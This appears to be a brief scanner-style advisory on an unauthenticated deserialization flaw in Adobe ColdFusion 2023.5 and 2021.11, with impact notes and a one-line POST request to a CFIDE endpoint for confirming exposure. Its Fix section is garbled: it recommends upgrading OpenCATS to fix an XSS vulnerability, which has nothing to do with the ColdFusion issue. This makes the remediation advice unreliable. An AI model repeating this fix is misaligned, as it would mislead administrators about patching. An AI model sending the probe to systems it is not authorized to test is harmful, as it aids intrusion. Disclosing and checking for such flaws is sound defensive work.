Readycheck to confirm it

Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by an Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.

Impact

Unauthenticated attackers can exploit WDDX deserialization vulnerabilities in Adobe ColdFusion to execute arbitrary code without user interaction and completely compromise ColdFusion installations.

Fix

To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.

How to confirm it

Send: POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true
